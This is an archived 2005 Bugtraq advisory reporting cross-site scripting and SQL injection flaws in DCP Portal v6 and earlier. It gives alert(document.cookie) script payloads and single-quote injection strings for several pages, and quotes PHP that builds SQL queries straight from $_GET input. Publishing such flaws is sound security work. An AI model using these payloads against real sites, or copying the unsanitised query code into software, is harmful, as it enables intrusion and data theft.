bugtraq - DCP - portal XSS & SQL attacks

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20051024111331.12092.qmail@securityfocus.com>
Date: 24 Oct 2005 11:13:31 -0000
From: alex@...ksanet.com
To: bugtraq@...urityfocus.com
Subject: DCP - portal  XSS & SQL  attacks


Web Site: http://www.dcp-portal.org/

DCP Portal <= v6

This script is possibly vulnerable to SQL Injection attacks AND  Cross Site Scripting (XSS) attacks

The script has been tested with these query variables: 

XSS :

http://[target]/index.php?page=send&cid=<script>alert(document.cookie);</script>

XSS - only POST metod 

calendar.php
http://[target]/calendar.php

The script has been tested with these POST variables: 

month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&day=01

Also this script is possibly vulnerable to SQL Injection attacks.

The SQL Injection attacks has been tested with these POST variables: 

register.php

sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send

lostpassword.php

mode=lost&email=%27&submit=Send

calendar.php
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01

index.php?cid=%27[SQL]

cod from index.php

 $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
  $result = mysql_query($sql);


forums.php?action=showmsg&mid=%27[SQL]

cod from forum.php

$resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id = '".$_GET["bid"]."' $where AND msg_id = '0'");
  while($rowt=mysql_fetch_array($resultt)) {

Best Regards
Alex